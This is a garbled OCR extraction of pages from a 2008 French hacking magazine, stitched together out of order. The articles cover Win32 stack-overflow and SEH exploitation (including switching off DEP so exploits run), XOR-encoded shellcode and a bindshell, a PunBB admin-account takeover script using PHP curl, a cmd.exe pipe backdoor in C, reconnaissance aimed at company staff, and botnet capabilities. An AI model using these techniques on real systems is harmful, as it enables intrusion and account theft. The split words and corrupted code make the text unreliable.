83. i Une derni re chose vous cherchez des informations sur un logiciel une faille ou je ne sais quoi encore rappe lez vous que Google est votre ami est que gr ce lui vous pourrez trouver bien plus que ce que vous cher chez faut il savoir chercher Toutes vos questions ont de grandes chances d avoir d j t pos es un grand nombre de fois sur des fo rums alors demandez l aide de votre ami Google qui devrait vous trouvez ca en moins de 2s TRACE TA ROUTE Lorsque notre ordinateur communique avec un serveur distant la liaison n est pas direct Nos paquets passent par plusieurs noeuds serveurs routeurs il est donc int ressent de voir la route emprunt e par la communi cation L utilisation des commandes traceroute et tra cert respectivement pour Linux et Windows permet tent de r aliser cette t che A noter qu il se peut que traceroute ne soit pas install par d faut sous cer taines distribution un apt get install traceroute per mettra de l installer sous les distributions bas es sur Debian Cette commande peut notamment tre int res sante pour comprendre la structure d un r seau local Si le hacker r ussit p n trer dans le r seau interne de l entreprise il peut ainsi avoir une vue de celui ci LISTER LES MACHINES D UNE ENTREPRISE Nous avons vue que le r le d un serveur DNS tait de nous donner l IP d un serveur partir d une URL Si il est mal con
84. i si 20 si cb sizcof st si dwFlags STARTF USESTDHANDLES si hStdinput hinputRead sLhStdOutput hOutput Write si hStdError hOutput Write ZeroMemory amp pi sizcof pi on appel le processus cmd exe via CreateProcess dwRet CreateProcess 0 cmd NULL NULL TRUE NULL NULL NULL amp si if dwRet sila cr ation du process a echou return Create Thread 0 0 ReadThread 0 0 0 ct CreateThread 0 0 Write Thread 0 0 0 INFINITE CloseHandle hOutputRead CloseHandle hOutput Write CloseHandle hInputRead CloseHandle hInput Write retumi Je pense que le code est tr s clair mais je vais quand m me expliquer certaines parties qui peuvent sembler obscures DWORD WINAPI Write Thea i char 406965 On cr e premier lieu deux pipes via la fonction DWORD dw Writien tePipe Ils vont faire le lien entre notre programme et B la console windows while l f Le premier va permettre a la console de rediriger ses gets bufFer i125 buffer stdin sorties standard et d erreur dans le pipe ce qui consti tuera le nouveau flux de sortie standard du processus cmd exe OutputWrite et l extr mit de ce pipe sera lu par notre programme afin de r ceptionner la sortie de la WriteF ile hinput Write buffer Se Written 0 console OutputRead rebam Le second lie
85. i g s en propulsant des flo Fr p es de spams pourriels ou phishings hame We connage 7 l insu de l utilisateur exami nant situ les informations sensibles propres aux utilisateurs propri taires mots de passe comptes utilisateur num ro de carte bancaire etc donnant la possibilit d usurpation d iden tit en d sactivant plus ou moins les antivi rus et autres firewalls en installant des root kits quipement root 8 en diss minant de nouveaux maliciels logiciels malveillants en utilisant silencieusement le FTP embarqu en scannant le r seau la recherche de failles de backdoors ou de certains ports cibles TCP 135 139 445 cibles UDP 137 9 en interceptant des com munications en menant des attaques de d ni de service distribu ou non DDoS Distributed Denial of Service 10 par HTTP flood r cursif inondation HTTP 11 en utilisant son espace disque pour installer des mat riaux pas toujours l gaux en capturant les frappes du clavier keylogging en attaquant le r seau IRC clone attack etc 12 5 HackezVoice 1 Octobre 2008 Comment alors se prot ger Le minimum syndical vital pour tout utilisateur lambda comme pour tout adminis trateur de l ordinateur familial l ordinateur d entrepri se est d installer r guli rement les mises jour et les correctifs du syst me des logiciels des antivirus des firewalls d installer un ou que
86. ichier est lui tout aussi important que son contenu car tout fichier crit dans un obscure format propri taire complique la tache de l quipe de r daction et peux rendre votre texte difficilement lisible DEUXI MEMENT LA CLART DES INFORMATIONS Vous remarquerez sur les encyclop dies en ligne par exemple que toute information est appuy par une ou plusieurs r f rences de qualit Ceci dans un premier temps afin d assurer au lecteur la fiabilit de l informa tion Mais aussi pour permettre ceux qui le souhaite d approfondir le plus sereinement possible votre sujet TROISI MEMENT L AIDE LA MAQUETTE Aucun article n est directement coller dans le magazine et donc aucune mise en forme n est conserv e Evitez donc les d corations farfelues les titres color s et les petites images d coratives Pr f rez simplement les titres soulign s et les mots importants en gras Aussi et l c est important toute les images screenshots et sch mas doivent tre part et de la meilleur qualit possible Ins rez leur place dans l article leur nom en tre crochet et la l gende de l image si besoin Le code lui peut tre tr s difficile a mettre en place dans un maga zine Il est recommand de le simplifier et de le r duire au maximum dans votre article en mettant l accent sur les parties vitales du code Si vous d sirez diffuser plus de ligne de code envoyez les simplement part QUATRI MEMENT ET
87. igne int insigned int LARGE INTEGER perfcount GetSystemTimeAsFile Time amp ft Cookie f dwHighDateTime ft dwLowDateTime Cookie Cookie GetCurrentProcessLd y Cookie Cookie CetCurrent ThreadId Cookie Cookie Get TickCounti Query PerformanceCounter amp perfcount ptr unsigned imt MEperfcount tmp ptr 1 ptr Cookie Cookie tmp pantit Cookic Cookie return N imaginez donc pas g n rer votre cookie et craser la valeur du cookie avec celle g n r en pensant qu elles seront identiques beaucoup de param tres rentrent en jeux dans ce cas imaginaire on se retrouverait avec un cas classique de stack overflow Structured Exception Handling Les SEHs abr viation de Structured Exception Handling 27 sont un m canisme mise en place par le syst me Windows permettant d intervenir au cas notre binaire engendrerait des exceptions durant son ex cution Concr tement ce sont des structures au pro totype suivant typedef struct EXCEPTION REGISTRATION 1 EXCEPTION REGISTRATION next PEXCEPTION HANDLER handler EXCEPTION REGISTRATION PEACEFTI JN REGISTRATION Le premier membre va pointer sur le SEH suivant et le second membre est un pointeur sur une fonction appel pour r soudre l exception ces fonctions ont le proto type suivant EXCEPTION DISPOSITION cdecl except handler EXCEPTION RECORD ExceptionRecord void Establ
88. il suffit de recher cher parmis les membres le moins r cent des comptes La date de cr ation du compte est aussi affich e Sous PunBB c est sur la page userlist php curl setopt Sh CURLOPT URL SURL userlist php usernames amp show groups l amp sort hbysregistered amp sort dir2ASCA amp scearch9Envoyer curl setopt Sh CURLOPT RETURNTRANSFER 1 5 curl exec 5h preg maich profile phpy id 0 9 gt lt lt s m SADMIN S5m 2 Nom d utilisateur de l admin preg match lt td classe ter 0 9 2 0 9 2 0 9 4 eVtd s Sm if count Sm DATE mktime 0 0 0 5m 2 Sm 1 m 3 Timestamp de sa date d inscription else DATE time NULL 86400 just in case the forum or account just has been created f 54 Pour obtenir le mail de l administrateur la ruse a constitu r initialiser le mot de passe du propre compte de l at taquant gr ce son email c est la seule information n cessaire pour r initialiser le mot de passe d un compte Normallement l adresse email de l administrateur est fourni sur la page apr s la r initialisation Srst email postfields Sh curl implode amp form sente emailg urlencode SEMAIL request passsEnvoyer cur setopt h CURLOPT URL SURL login php actionzforget 27 cur setopt h CURLOPT RETURNTRANSFER 1 curl setopt amp h CURLOPT HEADER 1 curl se
89. iner la graine du g n rateur au moment de la g n ration du nouveau mot de passe de l administrateur car c est la m me graine qui servi g n rer ces deux mots de passe Ensuite on part du fait que PunBB sotcke dans les coo kies les informations sur l utilisateur de la mani re sui vante le hash contenu dans le cookie est le hash de la chaine de caract re form e par le cookie seed et le hash du mot de passe de l utilisateur A D termination du cookie seed Ji Set Cookie eokie 1 34 Sm c unserialize uridecodetSm 1 SHASH LOGUOLED Sell echo Hash al atoire SHASH LOGGUED zbr cbr ra Or nous savons que le cookie seed est compos de ca ract res du hash du timestamp lors de la cr ation du forum Ce timestamp est d j connu plus ou moins gr ce la date de cr ation du compte de l admin Pour connaitre ce cookie seed le hacker utilise la techinique du brute force intelligent 1 compare successive ment le hash contenu dans son cookie avec le hash ob tenu en concatenant la hash du timestamp incr ment a chaque test car le timestamp obtenu plus haut n etait pas tr s exacte et le hash de son mot de passe Le cookie seed tant connu le proc d est similaire pour obtenir la graine utilis e lors de la g n ration du nouveau mot de passe de l admin on sait que cette graine est comprise entre et un mil lion Le hacker proc de alo
90. ion du CDMA pour Cyber Defense Ma nagement Authority bas lui Bruxelles qui aura pour charge de coordonn e les moyens de cyber d fense de tout les pays membre du trait En France apr s plusieurs rapports tr s critique sur les capacit s de cyber defense national le gouvernement marqua un premier pas lors de la sortie du c l bre Li vre Blanc de la D fense Mise en avant par les m dias notamment pour ses r ductions d effectifs le livre blanc voque galement les risques de cyber attaque contre la France et lance modestement la cr ation de l Agence National de S curit des Syst mes d Information Cet agence bas sur l actuelle DCSSI la Direction cen trale de la S curit des Syst mes d Information aura pour objectif la d tection pr coce des cyber attaques une utilisation massive des solutions de s curit d un haut niveau la mise en place d un panel d expert des tin aux administrations et aux op rateurs d infrastruc ture vital ainsi qu une mission de conseille aupr s du grand publique et du priv Et si cela ne s av re pas assez efficace il est certain que le gouvernement lancera un projet encore plus am bitieux de Conseil National de S curit des Syst mes d Information bas sur la future Agence 73 HackezVoice 1 Octobre 2008 RAONO ENTRE AMIS SIMPLITE http www secway fr fr products simplite msn MSN Messenger est certainement la messagerie instan tan la plus popul
91. ir le format PE 3 sont alors pr sente en m moire Le processus dispose alors d une pile et un tas heap en anglais Ces deux espaces sont utilis s pour le stockage de varia ble En effet la pile va permettre le stockage de variable locale temporairement tandis que le tas est un espace les variables allou es dynamiquement sont stock es voir fonction malloc en C 4 Notre pile va donc ser vir au stockage momentan d information n cessaire la communication entres les fonctions les arguments pass s une fonction sont pos s sur la pile avant l appel de la fonction Ainsi on peut parler de Stack overflow 5 et de Heap overflow 6 Les heaps overflows n tant pas abord s au cours de cet article HackezVoice 1 Octobre 2008 La pile croit vers les adresses basses et est tr s impor tante pour l appel des fonctions Pour pouvoir appeler une fonction on doit poser sur la pile les arguments n cessaires a l appel de la fonction Imaginons une fonction helloWorld prenant en argu ment un pointeur sur une chaine de caract res qui sera afficher de la fa on suivante Hello x x tant la chaine point e par le pointeur de chaine pass en argu ment la fonction En asm nous devrions op rer de la fa on suivante push machaine call helloWorld La pile est toujours de type LiFo qui vient de l anglais Last in First out autrement dit le dernier l ment qui sera
92. isherFrame truct CONTEXT ContextRecord old DispatcherContext I aCEUCE LI Retenez bien ce prototype car il sera fondamental dans la partie exploitation Je ne sais pas si vous portez beaucoup d attention l tat de la pile quand vous d bugguer un programme car il se trouve qu un pointeur sur le premier SEH et un pointeur sur ce qu on appel le lt SEH handler gt il s agit tout simplement d un pointeur sur la fonction lancer soit pos s sur la pile For hry FFFFF Fr OISE TS auus sk C IRON TE se B 24 ewrcLhEE For hp sa t 2 SET ai i Ei m 20 T Fre B Wwha c an ES Oe Hor SERT CCND G3 02 2 24 FFFFEFFF _ JS s rrrrr p uaa LEES d P Pointer to nest reocrc DOLF OM Es 2 Imaginer donc que si nous d bordons jusqu la r cri ture de ces pointeurs nous pourrions avoir un contr le du flux d ex cution Supposons qu une exception X se l ve le syst me fait appel alors la fonction KiUserExceptionDispatcher fonction export e par ntdil dil celle ci va v rifier si oui ou non notre handler est valide Pour tre valide il se doit de ne pas pointer dans la pile ni dans une librairies si toutes ces conditions sont r u nis le handler est x cut par la fonction ExecuteHan dl
93. l administrateur le Shellcode aura le m me privil ge Maintenant passons l esprit th orique concernant l laboration d un ShellCode en d butant par quelques g n ralit s CONSTITUTION D UN CODE D EXPLOITATION Il faut comprendre que la valeur NULL ou aussi l quivalent de en notation hexad cimale est proscrire d embl e dans nos ShellCodes car elle consti tue la cl ture d un OFFSET r serv du texte quelcon que Si le syst me vuln rable rencontre cette susdite valeur NULL durant le flux la lecture du ShellCode est finali s e m me s il reste une foultitude de commandes en core interpr ter Pour contrer ce probl me d licat il faut utiliser un registre conditionn sous XOR on parle de XORisation pour obtenir une valeur NULL N anmoins la solution la moins astreignante est d in t grer au d but de nos ShellCodes une petite routine de d cryptage par XORisation sur 4 octets sous en tend donc qu il faut crypter le ShellCode original pour se d barrasser des NULL Bytes A cet effet voici le code commun ment utiliser afin de d crypter le Shell Code 23 octets et commentaires inclus Or celui ci est relativement simple mais reste conve nir sur deux aspects soit le volume du ShellCode a d crypter et le DWORD la base de l op ration XOR N anmoins ajoutons qu il n est pas toujours possible de faire pointer notre EIP vers le tam 1 fstery En Store Floatin
94. la fonction Web Par exemple sur le site http www raynette fr services whois OC wer k d diurna b nk EFF mm Ear irmana de eem bacberreoaire med BASE T LT Serres DES heim sai u 1 im md isl Legiciel serveur Be Dates des mir Ead id MEH I RK Om Fr k p Werer zac Pr RE rogue qoo e eram Wien mman rrr a Ere Fii re Pi siri ris BHE kk c d kusa d LL F mimi TU dul 1 1 8 pepe 15217 11 24 08 29 29 24 i 1 1 FELD Aw M M m HH 9 TT E 7 ge La seconde est la fonction sous un terminal Linux grace a la commande whois HackezVoice 1 Octobre 2008 Il existe beaucoup d autres solutions notamment la cr ation de script avec des fonctions propres au langage utilis Ce qu il faut retenir de cette exp rience c est que nous pouvons avoir le nom le pr nom l adresse postale l adresse mail et le num ro de t l phone du propri taire du serveur Avec un peu de chance nous pouvons avoir beaucoup de renseignement sur le directeur de l entreprise Ceci tant notre attaque va pouvoir cibler une personne Voyons par la suite
95. le codeur a r aliser une routine perso qui copie octet par octet la chaine de caract res pass e en argument dans un autre buffer et la taille de l argument n est encore une fois pas contr l v rifi r sultat nous pouvons sortir de notre buffer et r crire la pile Pour vous laissez chercher un peu nous vous donnons l adresse du d but de la routine chez moi tout commen en 0100183A Cependant il faut savoir qu il existe plusieurs protections 21 mise en place par windows afin d viter les exploitations de stack overflow et de buffer overflow plus g n ralement Dans ce cas l win dows emp che l ex cution de la pile c est dire que on ne pourra pas ex cuter notre shellcode s il est pr sent sur la pile Pour viter cette protection rendez vous dans votre Panneau De Configuration gt Syst me gt Onglet Avanc gt Dans l intitul Perfomances Param tres gt Onglet Pr vention de l x cution des Donn es gt cochez lt Acti vez la pr vention d x cution des donn es pour tous les programmes et services sauf ceux que je s lectionne vous cochez donc Information multidestinataire Vous red marrez et vous pourrez exploitez tranquille ment Vous pouvez partir de ce moment calculer le nombre de caract res n cessaires pour r crire la sauvegarde du registre EBP et du registre EIP Une fois que vous contr lez le registre EIP vous op rez comme pr c demment vous pla
96. les failles techniques nous allons attaquer les failles humaines L entreprise cible et son personnel vont donc tre notre premi re cible pour la r cup ration d informations Tout d abord une petite visite sur le site de l entreprise peut tre un tr s bon d but Souvent dans les rubriques contacts notre groupe ou encore offres d emploi nous pouvons avoir le nom pr nom de personnes qui sont employ es dans l entreprise ainsi nous allons pouvoir trouver les adres ses mails les num ros de t l phones des personnes susceptibles de nous d livrer un maximum d informa tions sur les syst mes De nos jours il existe de plus en plus de sites commu nautaires qui d tiennent des informations personnelles sur ses membres ex Facebook Ainsi en connaissant par coeur notre cible nous pourrons plus facilement la mettre en confiance et lui soutirer des l ments cruciaux pour notre attaque 15 T ES QUI TOI La notion de whois est galement tr s importante dans la prise d empreintes Cela permet de donner des indications pertinentes sur le serveur h bergeant le site internet de l entreprise cible En effet lors de l acquisition d un serveur web celui ci est r f renc avec les informations de son propri taire contacter en cas de litiges l endroit o il est impl ment physiquement etc 51 Il existe plusieurs types de fonction whois La premi re est
97. lle ci sert ensuite de num ro de t l phone pour le poste Lorsque vous rentrer une URL http www google fr par exemple vous allez contac ter un serveur DNS qui va vous renvoyer l IP d un des serveurs de Google afin de pouvoir s y connecter L IP change normalement chaque connexion moins que vous n en ayez une fixe Elle est compos de 4 oc tets allant de 255 et s crit sous cette forme x x x x ex 192 168 0 1 C est bien beau d avoir l URL d un site mais si on veut maintenant commencer notre prise d empreinte il sera plus pratique d avoir l IP du serveur sachant que cer tains outils n accepte pas l URL en argument Pour cela nous pouvons utiliser la commande ping Celle ci enverra des requ tes au serveur pour v rifier qu il est bien joignable Le r sultat de cette commande nous donnera l adresse IP du serveur et entre autre le temps de r ponse de celui ci HackezVoice 1 Octobre 2008 Une petite astuce qui peu s av rer tr s utile pour tout ceux qui utilisent un syst me bas sur Unix Linux Mac OS FreeBSD n oubliez pas que vous disposez de la commande man qui vous permettra d afficher le ma nuel de la commande pass e en argument et donc de pouvoir ainsi d couvrir des options plus ou moins utiles selon l utilisation que vous en ferez Cela offrira un plus grand panel de commande avec tou te les explications qui vont avec par rapport un h ou help gt RTFM quo
98. lques outils de d tection de programmes espions furtifs ou non et de les utili ser d IDS Intrusion Detection System de suivre les forums de discussion sur la s curit informatique lire Hzv etc Un administrateur pointilleux pourra surveiller les flux de requ tes DNS Domain Name System syst me de noms de domaine Au del d un certain seuil moyen ne ou d une soudaine augmentation de demandes la vigilance s impose Il est possible de devancer ce type d attaque en introduisant une barri re filtrante consti tu e d un r solveur DNS plac entre le r seau externe et son propre parc Ce dernier n acceptera que les requ tes DNS de machi nes autoris es condition que celles ci ne soient pas infect es L administrateur r seau se transformera en une sorte de profiler r seau analysant le comportement psychologique de son r seau Quelle est la moyenne de flux en entr e et en sortie crit re quantitatif Qu est ce qui rentre et qu est ce qui sort crit re qualitatif Quels ports sont utilis s r guli rement occasionnellement anormalement Que font habituellement mes machines Qu utilisent elles comme applications Qui utilise quoi Y a t il eu des intrusions Qu on r v l s les journaux des machines Etc On pourra joindre cette op ration l utilisation d un honeypot pot de miel 13 afin de d cortiquer le plus pr cis ment possible le type d attaque en cours Enfin et presque s
99. m me information Par exemple le nombre quarante deux pourrait tre crit 42 ou bien 2 Notez bien que des donn es en elles m me n ont aucun sens 42 c est un 4 et un 2 rien de plus ce n est ni un nombre ni une chaine de caract res si rien n est pr cis Connaitre le codage uti lis pour les donn es permet de donner une premi re approche du sens donner aux donn es Les quelques exemples qui suivent vous permettront je l esp re de mieux comprendre cette notion omnipr sente dans l informatique On ne va s int resser ici qu quelques types C int char et float et leur codage sur des machines x86 type Intel AMD Avant de commencer avec le type int petit rappel sur ce qu est la m moire Pour nous on va repr senter cela comme un grand bandeau avec des cases de 8 bits Cha que case poss dant une adresse avec l adresse 0 tout en haut et l adresse maximale tout en bas 1 int Le type int du C permet de stocker des entiers Mais bien entendu l ordinateur ne sait manipuler que des bits c est pourquoi on va commencer par crire les entiers en base 2 c est dire en binaire Si vous avez des la cunes par rapport au syst me binaire et ses conversions cf wikipedia 1 La convention veut que l on crive les chiffre de poids faible droite en d cimal c est le chiffre des unit s Soit 13 en base 10 gt 1101 1337 10100111001 en base 2 Etant donn que le proce
100. m tpmfosd overflow rb rev 4863 Remerciements Remerciements particuliers sh4ka KPCR rAsM Geo Heure Sans sucre Wizardman Lilxam Sqauallsurf Darkfig Goundy Sha Santabug Mxatone NewsOft et tous les membres actifs sur notre chan caribOu irc worldnet net Tous cela sans oublier SpiritfOfHack le tr s agr able staff de Futurezone et bien sur Hackerzvoice Et un remerciement sp cial que je tenais faire Ivan lefOu pour son aide ses relectures et son amiti 40 LA TOILE NUE FACE AU RENARD FaSm amp SnAkE Acissi existe moultes plug ins pour firefox colorfultabs pour coloriser les onglets infoRSS pour b n ficier des flux RSS etc mais on trouve aussi de nombreux plug ins ou modules com pl mentaires qui vont nous aider se cacher sur le net et chercher des failles potentielles sur les sites web Etre anonyme et s introduire dans chaque passage mal prot g est le r ve de beaucoup de hackers essayons de r aliser ce r ve INVISILIBIT Cacher son IP Installation Commen ons d abord par essayer de cacher son IP Vous tes tous sous linux puisque vous faites de la s curit informatique Vous allez donc tout d abord installer les paquets tor et privoxy emerge tor privoxy ou apt get install tor privoxy Vous ditez le fichier de conf de privoxy nano etc privoxy conf et vous d commentez la ligne suivante forward socks4a 12200 1 29050 vous pouvez
101. magazine oc337897 aspx 23 Comment configurer la protection de la m moire dans winxp Sp2 http www microsoft com france technet securite prodtech PL mspx 24 IDA http www datarescue com idabase 25 TerminateProcess http msdn2 microsoft com en us library ms686714 aspx 26 Defeating the Stack Based Buffer Overflow Prevention Mechanism of Microsoft Windows 2003 Server http www nextgenss com papers defeating w2k3 stack protec tion pdf 27 Structured Handling Exception http msdn2 microsoft com en us library ms680657 VS 85 aspx 28 SAFESEH http msdn2 microsoft com en us library 9a89h429 VS 80 aspx 29 NtSetInformationSetProcess http undocumented ntinternals net UserMode Undocumented220 Functions NT 200bjects Process NtSetInformationProcess html 30 Aticle 4 Volume 2 uninformed http www uninformed org v 2 amp a 4 31 GetCurrentProcess http msdn microsoft com en us library ms683179 VS 85 aspx 32 Return into libc http ghostsinthestack org article 12 return into libc html 33 HeapCreate Function http msdn microsoft com en us library aa366599 VS 85 aspx 34 HeapAlloc Function http msdn microsoft com en us library aa366597 VS 85 aspx 35 Immunity Debugger http www immunityinc com products immdbg shtml 36 Exploit IBM Rembo http metasploit com dev trac browser framework3 trunk mo dules exploits windows http ib
102. maintenant cr er votre fichier de config de tor mv etc tor torrc sample etc tor torrc Vous pouvez maintenant lancer tor et privoxy leto linit d tor start etc init d privoxy start Nous allons maintenant installer le plug in qui va bien c est a dire le torbutton Allez donc dans outils modules compl mentaires Une fen tre s ouvre vous pouvez cliquer en bas droite sur obtenir des extensions Effectuez la recherche de torbutton et ins tallez le Lien utile nttp www torproject org docs tor doc unix html fr V rification Allons sur le site du cnil http www cnil fr pour v rifier notre configuration Pour l instant tor n est pas lanc Allez sur la page d couvrez comment vous tes pist sur internet HackezVoice 1 Octobre 2008 Vos traces couvrez comment vous etes pi te Sur iemel Puis dans la partie d monstration cliquez sur votre configuration gt Volre configuration Un peu de meteo mec notre detectie Votre parcours sur Cp site Wtiois 41 Voil notre configuration actuelle Votre configuration CONFIGURATION Saviezvous que l adresse IP de votre machine est c al que votre adresse DNS Meus pouvons vox qu ordinateur utilis l systeme d exploitation Lini Votre navigateur 3 pour nom de coda Mozilla x11 LE Linux 1686
103. mais bon on s en moque un peu tant qu on peut s clater sur la console Vous trouverez normalement avec le framework un IDE sp cifique sous windows en tout cas nomm VHAM Une fois encore je vous passe le manuel d installation ou de configuration vous pourrez vous acharner autant que vous voudrez sur le mail du mag personne n y r pondra Ah et je vous conseille aussi d installer la PALib une bi blioth que permettant d afficher du texte de manipuler des graphismes et d autres choses bien utiles ARCHITECTURE NDS Avant de nous lancer directement dans le d veloppe ment d un projet comme tout code monkey qui se res pecte prenons le temps de lire un peu la documentation engrang e sur la DS histoire de savoir un peu comment cela fonctionne afin d en d duire quelques r gles de d veloppement La DS a une architecture tr s particuli re en effet elle contient deux processeurs chacun d di des t ches particuli res Le premier processeur est un ARM7 et g re principalement les contr les stylet touches et la partie WiFi Le second processeur est un ARMO qui lui sera notre processeur principal V ous pouvez voir cela de cette mani re le code d velop p pour l ARM7 peut tre assimil du code kernel car pilotant les interfaces mat rielles et celui sur ARM9 a du code utilisateur interface utilisateur programme principal Nous n allons bien s r d velopper que le code arm Il y
104. mentation automatique d entiers dans les URL et l encodage d codage de hashs et de mots de passe En plus inutile de faire soit m me les copier coller pour modifier l url cette outil le fait pour vous et r ex cute une page dont les param tres ont t modifi 2 saa che za AE Ep h Conclusion La HackBar vous simplifie la t che Nous avons fait le point sur quelques outils disponibles et utiles pour assouvir nos envies de d couverte de failles D autres outils existent mais il faudrait une encyclop die compl te pour tous les expliquer 44 M F NDO D LE Virtualabs Eo dans les magasins il y a presque un an la DS de Nintendo est une des consoles portables se vendant le mieux et pour cause elle permet un gameplay d une extr me souplesse gr ce un cran tactile et deux crans Elle est aussi munie d un composant WiFi supportant le cryptage WEP qui a t retourn dans presque tous les sens par l ing nieux Stephen Stair 1 qui en as tir une biblioth que pour le framework de d veloppement DevKitPro 2 Ce framework permet n importe qui de d velopper des logiciels pour une plateforme sur console portable savoir ici en l occurence PSP DS Game Cube GameBoy Advance et j en passe Bien s r cela peut tre assez instructif de voir comment ce composant HackezVoice 1 Octobre 2008 WiFi peut tre utilis et surtout de voir
105. n Erickson pr sente les bases de la programmation en C du point de vue du hacker et diss que plusieurs techniques de hacking Dans ce livre vous apprendrez inspecter les registres du processeur et de la m moire afin de les corrompre A surpasser certains moyens de s curit l aide des techniques dite de d passement de tampon Et enfin p n trer des serveurs distants sans vous faire remarquer et en effagant vos traces Bien d autres attaques y sont galement d taill es afin d offrir une bonne p dagogie des techniques de hacking courantes Vous trouverez galement dans ce livre un CD qui vous fournira un environnement complet de programmation et de d bogage sous Linux Au Sommaire Programmation Exploitation R seau Shellcode Contre mesures Cryptologie Technique de hacking de Jon Erickson aux ditions Pear son Techniques dehacking 76 UNE CONTRIBUTION HZV A VOUS TENTE n a re u pas mal de texte int ressant tout le long de la mise en place du magazine mais beaucoup souffraient d une erreur de forme Voici donc les bases n cessaire toute bonne contribution PREMI REMENT LA LISIBILIT DE L ARTICLE ET LE FORMAT Tout bon article commence par un titre simple et court suivit d une rapide introduction le chapeau si le texte fait plus d une page et des espaces entre chaque id e ou d veloppement saut la ligne ou paragraphe Le format du f
106. ng more read the code for instructions Apr s examen de la pile on comprend assez facilement qu au del de 1787 octets le registre EIP est cras Si on poursuit notre chaine de caract res davantage on observe un possible usage du registre ESP pour in jecter notre ShellCode dans la m moire Nous allons agir selon le mod le suivant pour la r dac tion d un Exploit afin d infiltrer un syst me distant 1 Usage de notre pr c dent exercice BindShell constitu 29 Bourrage du tampon jusqu d bordement par une commande x90 39 Constitution du nouvel registre EIP soit une adresse o figure une commande de type Jmp ESP Apr s viendra notre PayLoad soit l ensemble de la chaine qui cause le d bordement la gestion EIP et le BindShell Lien vers code etude bof4 c 17 HackezVoice 1 Octobre 2008 6 Conclusion et r flexion Nous voici au terme de notre dossier sur la conception des ShellCodes sur station Win32 Apr s examen on constate l tendue du probl me engag e par un programme d velopp sans grandes consid rations Or pour se pr munir de telles difficult s il convient de v rifier la longueur des cha nes de caract re durant l ex cution de l application afin d viter les d bordements de tampon Les fonctions susceptibles d engendrer des exploitations insidieuses sont notamment strcpy strcat sprintf gets etc Rappelons le probl
107. ns 39 HackezVoice 1 Octobre 2008 un exploit pour metasploit contre le programme IBM Rembo 36 l attaquant r alise son attaque 11 re tours du beau travail Conclusion Vous voil pr sent sensibilis aux techniques et pro tections misent en place dans le but de contourner ou viter un stack overflow Il faut savoir que maintenant les cas dit r els sont prendre un par un c est dire que chaque ex cutable va imposer des contraintes de part ses instructions ses adresses et j en passe C est pour cela qu une exploitation est souvent loin d tre ais e patience organisation et id es devront tre de la partie En ce qui concerne la r daction de ce document j ai tent de parcourir dans ces quelques pages le B BA concernant les stacks overflows sous windows de ma ni re claire et d taill enfin du moins je l esp re R f rences 1 OllyDbg http www ollydbg de 2 Masm32 http www masm32 com 3 Overview of PE file format http win32assembly online fr pe tutl html 4 Malloct http www linux kheops com doc man manfr man html 0 9 man3 malloc 3 html 5 Smashing The Stack For Fun And Profit http www phrack org issues html issue 49 amp id l4 article 6 Windows Heap Overflows using the Process Environment Block PEB http milw0rm com papers 66 4 Archive regroupant les codes et binaires http overclok free fr Codes ArticleHZz
108. nt essentiel l ensemble des processus sur notre syst me La pile de l anglais stack est une zone m moire dans laquelle nos programmes peuvent stocker temporaire ment des donn es quelconques durant l ex cution du m me programme selon le mode de m moire nomm prot g Ainsi lorsqu il faut consid rer des donn es attach es une fonction par exemple notre application durant le flux des commandes d pose push les valeurs de ces variables afin de les utiliser ult rieurement Une fois la fonction achev e les donn es sont retir es de la pile selon la commande pop On compare bien souvent cette op ration une pile d assiettes nombreuses dont la pre mi re d pos e est forc ment la derni re retir e Cette pens e est traduite par le terme LIFO Last In First Out en fran ais derni re pos e premi re retir e qui illustre bien l id e selon laquelle le premi re argument d pos pour notre fonction sera le dernier appel Or ajoutons que pour se situer dans la pile notre syst me utilise diff rents pointeurs dont les deux principaux sont ESP et EBP Ainsi pour utiliser les donn es contenues dans la pile on incr mente ou d cr mente ESP selon le nombre d octets n cessaire afin d obtenir l entr e ad quate Pointeur de pile Stack ESP soit le haut de la pile 32 bits Variable au gr des op rations PUSH et POP inclus gt gt gt allocation SP 16 bits Pointeur de pile
109. ntaire afin de s octroyer les privil ges du programme vuln rable En d autres ter mes exploiter les usages d un ShellCode N anmoins la question demeure et comment crire un ShellCode dans la m moire de notre processus d viant Pour la premi re question il n y a pas de probl me in contournable puisque nous disposons d un tampon afin d inscrire notre ShellCode Il s agit de notre pr c dent tampon justement vuln rable au d bordement Il faudra donc modifier le registre EIP afin qu il pointe au d but de notre susdit tampon Ainsi une lecture des comman des aura lieu et une ex cution de celles ci tout natu rellement avec les privil ges de l application cible Or pour d terminer l adresse du tampon vuln rable il suffit d effectuer un d sassemblage du programme vuln rable apr s plantage et de chercher les premiers segments o figure les lettres a Ajoutons qu une plage large de commande en hexad cimal 0x90 permet d tre quelque peu al atoire lorsque nous tenterons d identifier le d but du tampon En r sum donc la place des quatre a 0x61 de fin nous marquons un nouvel EIP qui est finalement l adresse des premiers a de notre tampon plus ou moins Ici se trouvera notre Shellcode qui comme toutes les commandes de l application sera lu puis in terpr t et ex cut avec les privil ges du programme cible S il s agit d une application tournant sous le profil de
110. ntaires et sine qua non respecter lors du d veloppement de ShellCodes sous Win32 Les applications suivantes seront utilis es durant l ensemble du dossier afin d aider com prendre les principes la m thode et la constitution de ShellCodes Nasmw COMPILATEUR ASM POUR STATION WIN32 MSVCv6 ComPiLaATEUR C C DE MICROSOFT Masm32v8 CoMPILATEUR ASM AVEC SYNTAXE PROCHE DU C NETCAT EMULATEUR DE SOCKET GETHASH Conversion DE TEXTE ASCII INTRODUCTION amp G N RALIT S Les nombreux sites relatifs la s curit informatique ne tarissent plus d avertissements advisory concernant la pr sence de vuln rabilit s de type overflow sur diverses appli cations A cet effet durant les derni res ann es la communaut des d veloppeurs C notamment a pris conscience de quelques mauvaises habitudes en mati re de programmation En v rit il s agit plus d un p ch par omission puisqu on ignorait auparavant l ampleur v ritable du probl me Effectivement une mauvaise allocation de m moire lors du d veloppement d un projet peut engendrer sur la pile un d bordement exploitable C est justement l objet de cet article On compte diff rents types de d bordement au nombre desquels on trouve le mod le overflow sur les entiers Integer la pile Stack et le tampon Buffer C est ce dernier qui nous int ressera plus particuli rement Ainsi on d bute le sujet en expliquant quoi correspond la pile l me
